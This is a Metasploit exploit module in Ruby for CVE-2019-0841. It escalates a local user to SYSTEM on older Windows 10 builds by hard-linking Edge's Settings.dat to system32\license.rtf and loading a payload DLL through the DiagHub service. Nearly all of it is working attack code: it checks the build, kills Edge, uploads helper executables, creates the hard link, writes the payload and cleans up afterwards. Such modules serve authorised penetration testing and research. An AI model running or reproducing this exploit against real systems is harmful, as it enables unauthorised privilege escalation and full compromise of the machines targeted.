Microsoft Windows 10 < build 17763 - AppXSvc Hard Link Privilege Escalation (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::FileInfo
  include Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AppXSvc Hard Link Privilege Escalation',
      'Description'    => %q(
        There exists a privilege escalation vulnerability for
        Windows 10 builds prior to build 17763. Due to the AppXSvc's
        improper handling of hard links, a user can gain full
        privileges over a SYSTEM-owned file. The user can then utilize
        the new file to execute code as SYSTEM.

        This module employs a technique using the Diagnostics Hub Standard
        Collector Service (DiagHub) which was discovered by James Forshaw to
        load and execute a DLL as SYSTEM.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Nabeel Ahmed',      # Vulnerability discovery and PoC
        'James Forshaw',     # Code creating hard links and communicating with DiagHub service
        'Shelby Pace'        # Metasploit module
      ],
      'References'     =>
        [
          [ 'CVE', '2019-0841' ],
          [ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
          [ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
        ],
      'Targets'        =>
        [
          [ 'Windows 10', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => '2019-04-09',
      'DefaultTarget'  => 0
    ))
  end

  def check
    return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i

    path = expand_path('%WINDIR%\\system32\\win32k.sys')
    major, minor, build, revision, brand = file_version(path)
    return CheckCode::Appears if build < 17763

    CheckCode::Detected
  end

  def upload_file(file_name, file_path)
    contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
    write_file(file_path, contents)
    register_file_for_cleanup(file_path)
  rescue
    fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
  end

  def init_process
    print_status("Attempting to launch Microsoft Edge minimized.")
    cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30)
  end

  def mk_hard_link(src, target, link_exe)
    out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")

    return (out && out.include?('Done'))
  end

  def write_payload
    print_status('Writing the payload to disk')
    code = generate_payload_dll
    @original_data = read_file(@rtf_path)
    write_file(@rtf_path, code)
  end

  def exploit
    vuln_status = check
    fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown

    fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
    cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"")
    dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat")
    fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)

    if session.arch == ARCH_X86
      exe_name = 'CVE-2019-0841_x86.exe'
      f_name = 'diaghub_load_x86.exe'
    elsif session.arch == ARCH_X64
      exe_name = 'CVE-2019-0841_x64.exe'
      f_name = 'diaghub_load_x64.exe'
    end
    link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")
    upload_file(exe_name, link_file_name)

    @rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')
    fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
    print_good('Successfully created hard link')
    init_process
    cmd_exec("taskkill /F /IM MicrosoftEdge.exe")

    write_payload
    diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
    upload_file(f_name, diaghub_path)
    cmd = "\"#{diaghub_path}\" \"license.rtf\""
    cmd_exec(cmd)
  end

  def cleanup
    folder_path = expand_path("%TEMP%\\etw")
    dir_rm(folder_path)

    write_file(@rtf_path, @original_data)
    super
  end
end